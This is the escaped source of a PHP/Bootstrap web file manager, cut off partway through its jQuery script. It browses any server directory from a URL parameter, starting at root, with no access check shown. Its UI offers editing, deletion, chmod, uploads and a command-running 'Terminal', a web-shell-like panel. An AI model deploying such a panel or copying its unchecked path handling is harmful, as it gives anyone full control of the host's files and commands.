.button-container-mobile {        display: none !important;    }}    &lt;/style&gt;</head><body>    &lt;div class=&quot;theme-switch-wrapper&quot;&gt;        &lt;label class=&quot;theme-switch&quot; for=&quot;checkbox&quot;&gt;            <input type=checkbox>            &lt;div class=&quot;slider round&quot;&gt;&lt;/div&gt;        &lt;/label&gt;    &lt;/div&gt;    &lt;div class=&quot;container mt-4&quot;&gt;        &lt;!-- &lt;h1 class=&quot;mb-4&quot;&gt;File Browser</h1>  --&gt;         &lt;!-- &lt;div class=&quot;d-flex justify-content-between align-items-center mb-3&quot;&gt;        &lt;div&gt;            &lt;a href=&quot;?dir=/&quot; class=&quot;btn btn-primary me-2&quot;&gt;Root&lt;/a&gt;            &lt;a href=&quot;?dir= echo urlencode($baseDir); &quot; class=&quot;btn btn-danger&quot;&gt;Home&lt;/a&gt;        &lt;/div&gt;        &lt;div&gt;            &lt;button id=&quot;createFolderBtn&quot;  class=&quot;btn btn-success me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFolderModal&quot;&gt;                &lt;i class=&quot;fas fa-folder-plus&quot;&gt;&lt;/i&gt; New Folder            &lt;/button&gt;            &lt;button id=&quot;createFileBtn&quot; class=&quot;btn btn-info me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFileModal&quot;&gt;                &lt;i class=&quot;fas fa-file&quot;&gt;&lt;/i&gt; New File            &lt;/button&gt;            &lt;button class=&quot;btn btn-warning me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#uploadFileModal&quot;&gt;                &lt;i class=&quot;fas fa-upload&quot;&gt;&lt;/i&gt; Upload File            &lt;/button&gt;            &lt;button class=&quot;btn btn-secondary&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#terminalModal&quot;&gt;                &lt;i class=&quot;fas fa-terminal&quot;&gt;&lt;/i&gt; Terminal            &lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt; --&gt;          &lt;div class=&quot;d-flex justify-content-between align-items-center mb-3&quot;&gt;        &lt;button class=&quot;navbar-toggler d-md-none&quot; type=&quot;button&quot; data-bs-toggle=&quot;collapse&quot; data-bs-target=&quot;#navbarCollapse&quot; aria-controls=&quot;navbarCollapse&quot; aria-expanded=&quot;false&quot; aria-label=&quot;Toggle navigation&quot;&gt;            &lt;span class=&quot;navbar-toggler-icon&quot;&gt;&lt;/span&gt;        &lt;/button&gt;        &lt;div class=&quot;button-container d-none d-md-flex justify-content-between w-100&quot;&gt;            &lt;div&gt;                &lt;a href=&quot;?dir=/&quot; class=&quot;btn btn-primary me-2&quot;&gt;Root&lt;/a&gt;                &lt;a href=&quot;?dir= echo urlencode($baseDir); &quot; class=&quot;btn btn-danger me-2&quot;&gt;Home&lt;/a&gt;            &lt;/div&gt;            &lt;div&gt;                &lt;button id=&quot;createFolderBtn&quot; class=&quot;btn btn-success me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFolderModal&quot;&gt;                    &lt;i class=&quot;fas fa-folder-plus&quot;&gt;&lt;/i&gt; New Folder                &lt;/button&gt;                &lt;button id=&quot;createFileBtn&quot; class=&quot;btn btn-info me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFileModal&quot;&gt;                    &lt;i class=&quot;fas fa-file&quot;&gt;&lt;/i&gt; New File                &lt;/button&gt;                &lt;button class=&quot;btn btn-warning me-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#uploadFileModal&quot;&gt;                    &lt;i class=&quot;fas fa-upload&quot;&gt;&lt;/i&gt; Upload File                &lt;/button&gt;                &lt;button class=&quot;btn btn-secondary&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#terminalModal&quot;&gt;                    &lt;i class=&quot;fas fa-terminal&quot;&gt;&lt;/i&gt; Terminal                &lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;        &lt;div class=&quot;collapse navbar-collapse d-md-none&quot; id=&quot;navbarCollapse&quot;&gt;        &lt;div class=&quot;button-container-mobile&quot;&gt;            &lt;a href=&quot;?dir=/&quot; class=&quot;btn btn-primary btn-block mb-2&quot;&gt;Root&lt;/a&gt;            &lt;a href=&quot;?dir= echo urlencode($baseDir); &quot; class=&quot;btn btn-danger btn-block mb-2&quot;&gt;Home&lt;/a&gt;            &lt;button id=&quot;createFolderBtnMobile&quot; class=&quot;btn btn-success btn-block mb-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFolderModal&quot;&gt;                &lt;i class=&quot;fas fa-folder-plus&quot;&gt;&lt;/i&gt; New Folder            &lt;/button&gt;            &lt;button id=&quot;createFileBtnMobile&quot; class=&quot;btn btn-info btn-block mb-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#newFileModal&quot;&gt;                &lt;i class=&quot;fas fa-file&quot;&gt;&lt;/i&gt; New File            &lt;/button&gt;            &lt;button class=&quot;btn btn-warning btn-block mb-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#uploadFileModal&quot;&gt;                &lt;i class=&quot;fas fa-upload&quot;&gt;&lt;/i&gt; Upload File            &lt;/button&gt;            &lt;button class=&quot;btn btn-secondary btn-block mb-2&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#terminalModal&quot;&gt;                &lt;i class=&quot;fas fa-terminal&quot;&gt;&lt;/i&gt; Terminal            &lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt;                           // Set the current directory to the one passed through the URL, or default to the base directory        $directory = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : $baseDir;        // Normalize the directory path using realpath()        $directory = realpath($directory);        // Check if the directory is valid        if (!$directory || !is_dir($directory)) {            die(&quot;Invalid directory.&quot;);        }        function getFileIcon($filename) {            $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));            switch ($extension) {                case &#039;jpg&#039;:                case &#039;jpeg&#039;:                case &#039;png&#039;:                case &#039;gif&#039;:                case &#039;bmp&#039;:                case &#039;svg&#039;:                    return &#039;&lt;i class=&quot;fas fa-image text-success&quot;&gt;&lt;/i&gt;&#039;;                case &#039;mp4&#039;:                case &#039;avi&#039;:                case &#039;mov&#039;:                case &#039;wmv&#039;:                    return &#039;&lt;i class=&quot;fas fa-video text-danger&quot;&gt;&lt;/i&gt;&#039;;                case &#039;mp3&#039;:                case &#039;wav&#039;:                case &#039;ogg&#039;:                    return &#039;&lt;i class=&quot;fas fa-music text-info&quot;&gt;&lt;/i&gt;&#039;;                case &#039;pdf&#039;:                    return &#039;&lt;i class=&quot;fas fa-file-pdf text-danger&quot;&gt;&lt;/i&gt;&#039;;                case &#039;doc&#039;:                case &#039;docx&#039;:                    return &#039;&lt;i class=&quot;fas fa-file-word text-primary&quot;&gt;&lt;/i&gt;&#039;;                case &#039;xls&#039;:                case &#039;xlsx&#039;:                    return &#039;&lt;i class=&quot;fas fa-file-excel text-success&quot;&gt;&lt;/i&gt;&#039;;                case &#039;ppt&#039;:                case &#039;pptx&#039;:                    return &#039;&lt;i class=&quot;fas fa-file-powerpoint text-warning&quot;&gt;&lt;/i&gt;&#039;;                case &#039;zip&#039;:                case &#039;rar&#039;:                case &#039;7z&#039;:                    return &#039;&lt;i class=&quot;fas fa-file-archive text-secondary&quot;&gt;&lt;/i&gt;&#039;;                case &#039;php&#039;:                    return &#039;&lt;i class=&quot;fab fa-php text-purple&quot;&gt;&lt;/i&gt;&#039;;                case &#039;html&#039;:                case &#039;htm&#039;:                    return &#039;&lt;i class=&quot;fab fa-html5 text-danger&quot;&gt;&lt;/i&gt;&#039;;                case &#039;css&#039;:                    return &#039;&lt;i class=&quot;fab fa-css3-alt text-primary&quot;&gt;&lt;/i&gt;&#039;;                case &#039;js&#039;:                    return &#039;&lt;i class=&quot;fab fa-js-square text-warning&quot;&gt;&lt;/i&gt;&#039;;                default:                    return &#039;&lt;i class=&quot;fas fa-file text-secondary&quot;&gt;&lt;/i&gt;&#039;;            }        }         //Display the clickable path of the current directory        $pathParts = explode(DIRECTORY_SEPARATOR, $directory);        $clickablePath = &quot;&quot;;        echo &quot;&lt;nav aria-label=&#039;breadcrumb&#039;&gt;&quot;;        echo &quot;&lt;ol class=&#039;breadcrumb rounded-3&#039;&gt;&quot;;        foreach ($pathParts as $key =&gt; $part) {            $clickablePath .= ($key &gt; 0 ? DIRECTORY_SEPARATOR : &#039;&#039;) . $part;            if ($key === array_key_last($pathParts)) {                echo &quot;&lt;li class=&#039;breadcrumb-item active&#039; aria-current=&#039;page&#039;&gt;&lt;strong&gt;&quot; . htmlspecialchars($part) . &quot;&lt;/strong&gt;&lt;/li&gt;&quot;;            } else {                echo &quot;&lt;li class=&#039;breadcrumb-item&#039;&gt;&lt;a href=&#039;?dir=&quot; . urlencode($clickablePath) . &quot;&#039; class=&#039;text-decoration-none&#039;&gt;&quot; . htmlspecialchars($part) . &quot;&lt;/a&gt;&lt;/li&gt;&quot;;            }        }        echo &quot;&lt;/ol&gt;&quot;;        echo &quot;&lt;/nav&gt;&quot;;          // Scan the directory for files and directories          $files = scandir($directory);          // Filter out current (.) and parent (..) directories          $files = array_diff($files, array( &#039;.&#039; , &#039;..&#039;));                    // Sort files and directories          natcasesort($files);       // Separate directories and files    $dirs = array();     $filesList = array();      foreach ($files as $file) {      $fullPath = $directory . DIRECTORY_SEPARATOR . $file;      if (is_dir($fullPath)) {          $dirs[] = $file;      } else {          $filesList[] = $file;      }    }    // Combine sorted directories and files  $sortedFiles = array_merge($dirs, $filesList);     echo &quot;&lt;div class=&#039;list-group&#039;&gt;&quot;;    echo &quot;&lt;div class=&#039;list-group-item list-group-item-secondary d-flex justify-content-between align-items-center fw-bold&#039;&gt;&quot;;    echo &quot;&lt;div style=&#039;width: 40%&#039;&gt;Name&lt;/div&gt;&quot;;    echo &quot;&lt;div style=&#039;width: 15%&#039;&gt;Size&lt;/div&gt;&quot;;    echo &quot;&lt;div style=&#039;width: 15%&#039;&gt;Permissions&lt;/div&gt;&quot;;    echo &quot;&lt;div style=&#039;width: 20%&#039;&gt;Last Modified&lt;/div&gt;&quot;;    echo &quot;&lt;div style=&#039;width: 10%&#039;&gt;Actions&lt;/div&gt;&quot;;    echo &quot;&lt;/div&gt;&quot;;        foreach ($sortedFiles as $file) {        $filePath = $directory . DIRECTORY_SEPARATOR . $file;        $isDir = is_dir($filePath);                echo &quot;&lt;div class=&#039;list-group-item d-flex justify-content-between align-items-center&#039;&gt;&quot;;                // Name column        echo &quot;&lt;div style=&#039;width: 40%&#039;&gt;&quot;;        if ($isDir) {            echo &quot;&lt;a href=&#039;?dir=&quot; . urlencode($filePath) . &quot;&#039; class=&#039;text-decoration-none&#039;&gt;&quot;;            echo &quot;&lt;i class=&#039;fas fa-folder text-warning&#039;&gt;&lt;/i&gt; &quot; . htmlspecialchars($file);            echo &quot;&lt;/a&gt;&quot;;        } else {            $icon = getFileIcon($file);            echo &quot;&lt;span&gt;$icon &quot; . htmlspecialchars($file) . &quot;&lt;/span&gt;&quot;;        }        echo &quot;&lt;/div&gt;&quot;;                // Size column        echo &quot;&lt;div style=&#039;width: 15%&#039;&gt;&quot;;        if (!$isDir) {            echo formatFileSize(filesize($filePath));        } else {            echo &quot;-&quot;;        }        echo &quot;&lt;/div&gt;&quot;;                // Permissions column        echo &quot;&lt;div style=&#039;width: 15%&#039;&gt;&quot;;        $perms = fileperms($filePath);        $symbolicNotation = getSymbolicNotation($perms);        $colorCodedNotation = getColorCodedNotation($symbolicNotation);        echo &quot;&lt;span class=&#039;permission-notation&#039;&gt;&quot; . $colorCodedNotation . &quot;&lt;/span&gt;&quot;;        echo &quot;&lt;/div&gt;&quot;;                // Last Modified column        echo &quot;&lt;div style=&#039;width: 20%&#039;&gt;&quot; . date(&quot;Y-m-d H:i:s&quot;, filemtime($filePath)) . &quot;&lt;/div&gt;&quot;;                // Actions column        echo &quot;&lt;div style=&#039;width: 10%&#039; class=&#039;action-buttons&#039;&gt;&quot;;        echo &quot;&lt;div class=&#039;dropdown&#039;&gt;&quot;;        echo &quot;&lt;button class=&#039;btn btn-sm btn-secondary dropdown-toggle&#039; type=&#039;button&#039; id=&#039;dropdownMenuButton-{$file}&#039; data-bs-toggle=&#039;dropdown&#039; aria-expanded=&#039;false&#039;&gt;&quot;;        echo &quot;Actions&quot;;        echo &quot;&lt;/button&gt;&quot;;        echo &quot;&lt;ul class=&#039;dropdown-menu&#039; aria-labelledby=&#039;dropdownMenuButton-{$file}&#039;&gt;&quot;;        if ($isDir) {            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item rename-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode(realpath($filePath)) . &quot;&#039; data-is-dir=&#039;1&#039;&gt;Rename&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item delete-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039; data-is-dir=&#039;1&#039;&gt;Delete&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item chmod-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039; data-is-dir=&#039;1&#039;&gt;Change Permissions&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item&#039; href=&#039;?action=download&amp;file=&quot; . urlencode($file) . &quot;&amp;is_dir=1&#039;&gt;Download as ZIP&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item edit-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039;&gt;Edit&lt;/a&gt;&lt;/li&gt;&quot;;             } else {            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item edit-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039;&gt;Edit&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item rename-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039;&gt;Rename&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item delete-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039;&gt;Delete&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item&#039; href=&#039;?action=download&amp;file=&quot; . urlencode($file) . &quot;&#039;&gt;Download&lt;/a&gt;&lt;/li&gt;&quot;;            echo &quot;&lt;li&gt;&lt;a class=&#039;dropdown-item chmod-btn&#039; href=&#039;#&#039; data-file=&#039;&quot; . urlencode($filePath) . &quot;&#039;&gt;Change Permissions&lt;/a&gt;&lt;/li&gt;&quot;;        }        echo &quot;&lt;/ul&gt;&quot;;        echo &quot;&lt;/div&gt;&quot;;        echo &quot;&lt;/div&gt;&quot;;                echo &quot;&lt;/div&gt;&quot;;    }    echo &quot;&lt;/div&gt;&quot;;       function formatFileSize($bytes) {    $units = array(&#039;B&#039;, &#039;KB&#039;, &#039;MB&#039;, &#039;GB&#039;, &#039;TB&#039;);    $bytes = max($bytes, 0);    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));    $pow = min($pow, count($units) - 1);    $bytes /= (1 &lt;&lt; (10 * $pow));    return round($bytes, 2) . &#039; &#039; . $units[$pow];}function getSymbolicNotation($perms) {    $info = &quot;&quot;;    // Owner    $info .= (($perms &amp; 0x0100) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0080) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0040) ? (($perms &amp; 0x0800) ? &#039;s&#039; : &#039;x&#039; ) : (($perms &amp; 0x0800) ? &#039;S&#039; : &#039;-&#039;));    // Group    $info .= (($perms &amp; 0x0020) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0010) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0008) ? (($perms &amp; 0x0400) ? &#039;s&#039; : &#039;x&#039; ) : (($perms &amp; 0x0400) ? &#039;S&#039; : &#039;-&#039;));    // World    $info .= (($perms &amp; 0x0004) ? &#039;r&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0002) ? &#039;w&#039; : &#039;-&#039;);    $info .= (($perms &amp; 0x0001) ? (($perms &amp; 0x0200) ? &#039;t&#039; : &#039;x&#039; ) : (($perms &amp; 0x0200) ? &#039;T&#039; : &#039;-&#039;));    return $info;}function getColorCodedNotation($symbolicNotation) {    $colorCoded = &#039;&#039;;    foreach (str_split($symbolicNotation, 3) as $group) {        $colorCoded .= &#039;&lt;span style=&quot;color: &#039; . getColorForPermissionGroup($group) . &#039;;&quot;&gt;&#039; . $group . &#039;&lt;/span&gt;&#039;;    }    return $colorCoded;}function getColorForPermissionGroup($group) {    $readCount = substr_count($group, &#039;r&#039;);    $writeCount = substr_count($group, &#039;w&#039;);    $executeCount = substr_count($group, &#039;x&#039;) + substr_count($group, &#039;s&#039;) + substr_count($group, &#039;t&#039;);        if ($readCount + $writeCount + $executeCount == 3) {        return &#039;#00ff00&#039;; // Full permissions: Green    } elseif ($readCount + $writeCount + $executeCount == 0) {        return &#039;#ff0000&#039;; // No permissions: Red    } elseif ($writeCount &gt; 0) {        return &#039;#ffa500&#039;; // Write permission: Orange    } else {        return &#039;#ffff00&#039;; // Other cases: Yellow    }}// ... (rest of the code remains unchanged)    //          &lt;/div&gt;    &lt;!-- Modals for edit, rename, and chmod --&gt;    &lt;div class=&quot;modal fade&quot; id=&quot;editModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;        &lt;div class=&quot;modal-dialog modal-lg&quot;&gt;            &lt;div class=&quot;modal-content&quot;&gt;                &lt;div class=&quot;modal-header&quot;&gt;                    &lt;h5 class=&quot;modal-title&quot;&gt;&lt;/h5&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;                &lt;/div&gt;                &lt;div class=&quot;modal-body&quot;&gt;                    &lt;textarea class=&quot;form-control&quot; id=&quot;fileContent&quot; rows=&quot;10&quot;&gt;&lt;/textarea&gt;                &lt;/div&gt;                &lt;div class=&quot;modal-footer&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;saveEdit&quot;&gt;Save changes&lt;/button&gt;                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Rename Modal --&gt;&lt;div class=&quot;modal fade&quot; id=&quot;renameModal&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;renameModalLabel&quot; aria-hidden=&quot;true&quot;&gt;  &lt;div class=&quot;modal-dialog&quot;&gt;    &lt;div class=&quot;modal-content&quot;&gt;      &lt;div class=&quot;modal-header&quot;&gt;        &lt;h5 class=&quot;modal-title&quot; id=&quot;renameModalLabel&quot;&gt;Rename&lt;/h5&gt;        &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;      &lt;/div&gt;      &lt;div class=&quot;modal-body&quot;&gt;        <input type=hidden>        &lt;div class=&quot;form-group&quot;&gt;          &lt;label for=&quot;renameNewFileName&quot;&gt;New Name:&lt;/label&gt;          <input type=text>        &lt;/div&gt;      &lt;/div&gt;      &lt;div class=&quot;modal-footer&quot;&gt;        &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;        &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;saveRename&quot;&gt;Rename&lt;/button&gt;      &lt;/div&gt;    &lt;/div&gt;  &lt;/div&gt;&lt;/div&gt;       &lt;div class=&quot;modal fade&quot; id=&quot;chmodModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;        &lt;div class=&quot;modal-dialog&quot;&gt;            &lt;div class=&quot;modal-content&quot;&gt;                &lt;div class=&quot;modal-header&quot;&gt;                    &lt;h5 class=&quot;modal-title&quot;&gt;&lt;/h5&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;                &lt;/div&gt;                &lt;div class=&quot;modal-body&quot;&gt;                    <input type=hidden>                    <input type=hidden>                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;modal-footer&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;saveChmod&quot;&gt;Change Permissions&lt;/button&gt;                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;   &lt;div class=&quot;modal fade&quot; id=&quot;newFolderModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;    &lt;div class=&quot;modal-dialog&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h5 class=&quot;modal-title&quot;&gt;Create New Folder&lt;/h5&gt;                &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-body&quot;&gt;                <input type=text>            &lt;/div&gt;            &lt;div class=&quot;modal-footer&quot;&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;saveFolderBtn&quot;&gt;Create&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/div&gt;&lt;!-- File Creation Modal --&gt;&lt;div class=&quot;modal fade&quot; id=&quot;createFileModal&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;newFileModalLabel&quot; aria-hidden=&quot;true&quot;&gt;    &lt;div class=&quot;modal-dialog&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h5 class=&quot;modal-title&quot; id=&quot;newFileModalLabel&quot;&gt;Create New File&lt;/h5&gt;                &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-body&quot;&gt;                <form>                    <input type=text>                    &lt;textarea class=&quot;form-control&quot; id=&quot;newFileContent&quot; name=&quot;newFileContent&quot; rows=&quot;5&quot; placeholder=&quot;Enter file content&quot;&gt;&lt;/textarea&gt;                </form>                &lt;small id=&quot;autosaveIndicator&quot; class=&quot;form-text text-muted mt-2&quot; style=&quot;display: none;&quot;&gt;Autosaving...&lt;/small&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-footer&quot;&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;saveNewFile&quot;&gt;Create&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/div&gt;&lt;!-- &lt;div class=&quot;modal fade&quot; id=&quot;uploadFileModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;    &lt;div class=&quot;modal-dialog&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h5 class=&quot;modal-title&quot;&gt;Upload File&lt;/h5&gt;                &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-body&quot;&gt;                <input type=file>            &lt;/div&gt;            &lt;div class=&quot;modal-footer&quot;&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;uploadFileBtn&quot;&gt;Upload&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/div&gt; --&gt;&lt;div class=&quot;modal fade&quot; id=&quot;uploadFileModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;    &lt;div class=&quot;modal-dialog&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h5 class=&quot;modal-title&quot;&gt;Upload Files&lt;/h5&gt;                &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-body&quot;&gt;                <form>                    <input type=file>                </form>                &lt;div id=&quot;uploadProgress&quot; class=&quot;progress mt-3&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;progress-bar&quot; role=&quot;progressbar&quot; style=&quot;width: 0%;&quot; aria-valuenow=&quot;0&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot;&gt;0%&lt;/div&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-footer&quot;&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;uploadFilesBtn&quot;&gt;Upload&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;modal fade&quot; id=&quot;terminalModal&quot; tabindex=&quot;-1&quot; aria-hidden=&quot;true&quot;&gt;    &lt;div class=&quot;modal-dialog modal-lg&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h5 class=&quot;modal-title&quot;&gt;Terminal&lt;/h5&gt;                &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;            &lt;/div&gt;            &lt;div class=&quot;modal-body&quot;&gt;                &lt;div id=&quot;terminal-output&quot; class=&quot;mb-2&quot; style=&quot;height: 300px; overflow-y: auto; background-color: #000; color: #fff; padding: 10px;&quot;&gt;&lt;/div&gt;                <input type=text>            &lt;/div&gt;            &lt;div class=&quot;modal-footer&quot;&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;runCommandBtn&quot;&gt;Run Command&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/div&gt;    &lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;    &lt;script src=&quot;https://code.jquery.com/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;    &lt;script&gt;    $(document).ready(function() {    //Edit button click handler        $(&#039;.edit-btn&#039;).click(function() {            var file = $(this).data(&#039;file&#039;);            $.post(&#039;&#039;, {action: &#039;get_content&#039;, file: file}, function(response) {                var data = JSON.parse(response);                if (data.error) {                    alert(data.error);                } else {                    $(&#039;#editModal .modal-body textarea&#039;).val(data.content);                    $(&#039;#editModal .modal-title&#039;).text(&#039;Edit &#039; + decodeURIComponent(file.split(&#039;/&#039;).pop()));                    $(&#039;#editModal&#039;).data(&#039;file&#039;, file);                    $(&#039;#editModal&#039;).modal(&#039;show&#039;);                }            });        });        // Save edit changes        $(&#039;#saveEdit&#039;).click(function() {            var file = $(&#039;#editModal&#039;).data(&#039;file&#039;);            var content = $(&#039;#fileContent&#039;).val();            $.post(&#039;&#039;, {action: &#039;save&#039;, file: file, content: content}, function(response) {                var data = JSON.parse(response);                alert(data.message || data.error);                $(&#039;#editModal&#039;).modal(&#039;hide&#039;);            });        });         $(document).on(&#039;click&#039;, &#039;.rename-btn&#039;, function(e) {    e.preventDefault();    console.log(&quot;Rename button clicked&quot;);        var file = $(this).data(&#039;file&#039;);    var isDir = $(this).data(&#039;is-dir&#039;) === 1;    console.log(&quot;File:&quot;, file);    console.log(&quot;Is Directory:&quot;, isDir);        $(&#039;#renameModal .modal-title&#039;).text(&#039;Rename &#039; + (isDir ? &#039;folder&#039; : &#039;file&#039;) + &#039;: &#039; + decodeURIComponent(file.split(&#039;/&#039;).pop()));    $(&#039;#oldFileName&#039;).val(file);    $(&#039;#renameNewFileName&#039;).val(decodeURIComponent(file.split(&#039;/&#039;).pop()));    $(&#039;#renameModal&#039;).data(&#039;is-dir&#039;, isDir);        console.log(&quot;About to show modal&quot;);    $(&#039;#renameModal&#039;).modal(&#039;show&#039;);    console.log(&quot;Modal 